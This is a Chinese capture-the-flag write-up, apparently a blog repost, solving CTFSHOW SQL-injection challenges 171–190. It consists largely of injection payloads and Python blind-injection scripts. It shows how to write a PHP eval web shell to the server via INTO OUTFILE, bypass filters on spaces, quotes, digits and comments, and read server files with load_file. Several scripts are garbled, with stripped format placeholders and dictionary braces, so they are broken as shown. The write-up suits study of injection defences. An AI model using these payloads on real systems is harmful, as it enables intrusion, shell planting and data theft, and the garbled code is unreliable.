CTFSHOW SQL注入篇(171-190)

Posted yu22x

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFSHOW SQL注入篇(171-190)相关的知识,希望对你有一定的参考价值。

文章目录

无过滤

前言

下面几道无过滤的题都可以写入shell 然后蚁剑连上后从数据库里面找,就统一写下做法,后面不在具体复述。
具体做法如下
id=0' union select 1,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"
有的是查询的三项所以payload是
id=0' union select 1,2,"<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php%23"
接着蚁剑连接后访问数据库


171

查询语句可以看出来是单引号注入,猜测flag是flag用户的密码
直接万能密码就可以了
payload:1'||1%23

172

正常执行万能密码发现flag不在这个表中

按正常操作使用联合查询
id=1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23
得到两个表 ctfshow_user,ctfshow_user2
我们试试第二张表(这几道题都是flag为flag用户的密码)
payload:id=1' union select password,2,3 from ctfshow_user2%23

173

发现了一个bug
这个题正常让我们访问的网站是
/api/v3.php
但是我们访问/api然后传id可以不受过滤的限制(其实用的是171的源码)
payload:i/api/?d=0' union select 1,password,3 from ctfshow_user3 %23
当然这个题的目的是想让我们利用编码绕过
我这想到了base64和16进制
payload1:api/v3.php?id=0' union select 1,hex(password),3 from ctfshow_user3 %23
payload2:api/v3.php?id=0' union select 1,to_base64(password),3 from ctfshow_user3 %23
或者我们也可以截断或者逆向输出
payload3:id=0' union select reverse(password),2,3 from ctfshow_user3%23
payload4:id=0' union select substr(password,2),2,3 from ctfshow_user3%23

174

在输出的结果中过滤了flag和数字,可以把输出结果中的数字进行替换
写了个比较烂的脚本(当然也可以用盲注,但是还是希望多试试其他方法,就当练脚本了)
利用的是mysql中的replace函数

#author:yu22x
import urllib
import requests
url="http://52286033-66c5-4d63-8436-d7541f2f005a.chall.ctf.show/api/v4.php?id=0' union select 'a',"
a1=[0,1,2,3,4,5,6,7,8,9]
a2=['!','@','-','$','_','^','=','*','(',')']
s="password"
for i in range(0,10):
	s="replace("+s+",0,'1')".format(a1[i],a2[i])
u=url+'substr('+s+',5)'+"from ctfshow_user4 where username='flag'%23"
r=requests.get(u)
s2=""
for j in r.text:
	if j in a2:
		s2+=str(a1[a2.index(j)])
	else:
		s2+=j
print(s2)

175

过滤了ascii为0-127的字符,基本用替换是行不通的,想了一顿没发现啥好方法,只能用保底的盲注了

#author:yu22x
import requests
import time
import string

str=string.digits+string.ascii_lowercase+"-"
url = 'http://2c621323-6800-438f-9867-9110cce65972.chall.ctf.show/api/v5.php?id='
flag = ''

for i in range(1,50):
	print(i)
	for j in str:
		payload = "0'or if(substr(password,,1)='',sleep(1),0)%23".format(i,j)
		#print(payload)
		stime = time.time()
		r = requests.get(url+payload)
		etime = time.time()
		if etime-stime >=1:
			flag +=j
			print(flag)
			break

过滤

前言

176-179用万能密码可以通杀,但笔者还是写一下其他的方法供新手学习。

176

题目其实过滤了 select(不是替换成的空,应该是替换的其他的,否则是可以双写绕过的),但是只是过滤了小写的,所以使用大写可以绕过。
payload:id=0' union SELECT password,2,3 from ctfshow_user%23

177

题目过滤了空格,可以替换的方法有很多
payload1:id=0'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23
payload2:id=0'union/**/SELECT(password),2,(3)from(ctfshow_user)%23有点画蛇添足

178

再上一个题的基础上增加了/**/的过滤
除了用/**/和括号代替外,我们还可以使用如下方法绕过空格过滤

回车(%0a)
`(tab键上面的按钮)(%09)
tab

但是基于题目本身,发现只能使用%0a,%09(tab键)
payload1:id=0'%0aunion%0aSELECT%0apassword,2,3%0afrom%0actfshow_user%23
payload2:id=0'%09union%09SELECT%09password,2,3%09from%0actfshow_user%23

179

在上一题的基础上又把%0a %09过滤了,没有办法只能用万能密码了
payload:1'||1%23

180 181

过滤了注释符#--
当然我们只需要在原来的一句话的基础上修改下即可。
可能会有人想到这样 id=0'||'1
这样其实是有问题的,因为他原sql语句中有limit限制,我们只能看到返回结果中的第一行

这样的话,我们只需要让他显示flag用户的信息就可以了
payload1:id=0'||username='flag
当然我们也可以利用password字段查询
payload2:id=0'||(password)regexp'flag

182

过滤了我们刚才用的flag
那我们直接用正则就可以啦
payload1:id=0'||(username)regexp'f
payload2:id=0'||(password)regexp'f

183

如果知道表名的话就还好做些,但是题目好像没有什么提示,那就从前面做的题里面猜吧 ctfshow_user,有回显果然可以。
select count(pass) from ctfshow_user where xxx=xxx就可以了,如果有回显就说明等式成立。
空格过滤了用括号代替,等号过滤了可以用like或者regexp

#author:yu22x
import requests
import string
url="http://22b6cc4f-8077-4192-b754-279efad6ea86.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"_-"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    data=
    'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshowflag+j")'
    
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break

184

过滤了where可以使用having,过滤了引号可以使用16进制。
具体where和having用法的区别可参考https://blog.csdn.net/yexudengzhidao/article/details/54924471

#author:yu22x
import requests
import string
url="http://87d32c88-6000-4c76-bf95-b58baed44631.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"_-"
def asc2hex(s):
    a1 = ''
    a2 = ''
    for i in s:
        a1+=hex(ord(i))
    a2 = a1.replace("0x","")
    return a2
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = asc2hex(f'^ctfshowflag+j')
    data=
    'tableName':f' ctfshow_user group by pass having pass regexp(0xd)'
    
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      break

185|186

过滤了0-9,可以使用true拼接出数字,在使用char函数转换成字符,最后使用concat进行拼接。
比如想获取字符c,c的ascii为99
'c'=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
当然也可以复杂一点
c=char(ture+ture+ture......) (99个true)
简单写个转换的脚本

def convert(strs):
	t='concat('
	for s in strs:
		t+= 'char(true'+'+true'*(ord(s)-1)+'),'
	return t[:-1]+")"
#author:yu22x
import requests
import string
url="http://955c4204-b9de-433c-931d-5f7a0d9f0c51.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-'
def convert(strs):
  t='concat('
  for s in strs:
    t+= 'char(true'+'+true'*(ord(s)-1)+'),'
  return t[:-1]+")"
flag=''
for i in range(1,45):
  print(i)
  for j in s:
    d = convert(f'^ctfshowflag+j')
    data=
    'tableName':f' ctfshow_user group by pass having pass regexp(d)'
    
    #print(data)
    r=requests.post(url,data=data)
    #print(r.text)
    if("user_count = 1"  in r.text):
      flag+=j
      print(flag)
      if j=='':
        exit(0)
      break

187


当MD5函数的第二个参数为true时。返回的是字符串。

ffifdyop
raw: 'or'6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c

md5('ffifdyop',true)= 'or'6\\xc9]\\x99\\xe9!r,\\xf9\\xedb\\x1c
会发现直接闭合掉了并且存在or,所以可以直接登录成功。

188


想要拿flag需要输入的密码经过intval函数后等于查询出的密码。
注意这个地方用的两个等于号。
所以只要真正的密码是字母我们就可以通过输入密码为0来绕过
payload

username=1||1
password=0

189

题目说了flag在api/index.php中,所以直接盲注读文件就好了。

#author:yu22x
import requests
import string
url="http://d2577b14-e91d-4f5e-b23a-73ff43862cec.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data='username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),i,1))=j,1,0)",
'password':'1'
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\\\u67e5\\\\u8be2\\\\u5931\\\\u8d25" in r.text):
            flag+=chr(j)  
            print(flag)
            break

190

#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
    print(i)
    for j in range(32,128):
        #跑库名
        # data=
        #     'username':f"'||if(ascii(substr(database(),i,1))=j,1,0)#",
        #     'password':'1'
        # 

        #跑表名
        # data=
        #     'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),i,1))=j,1,0)#",
        #     'password':'1'
        # 

        #跑列名
        # data=
        #     'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),i,1))=j,1,0)#",
        #     'password':'1'
        # 
        #跑数据
        data=
            'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),i,1))=j,1,0)#",
            'password':'1'
        
        r=requests.post(url,data=data)
        if("\\\\u5bc6\\\\u7801\\\\u9519\\\\u8bef" in r.text):
            flag+=chr(j)  
            print(flag)
            break

以上是关于CTFSHOW SQL注入篇(171-190)的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW SQL注入篇(191-210)

CTFSHOW SQL注入篇(211-230)

CTFSHOW SQL注入篇(211-230)

CTFSHOW SQL注入篇(191-210)

CTFSHOW SQL注入篇(231-253)

CTFSHOW SQL注入篇(231-253)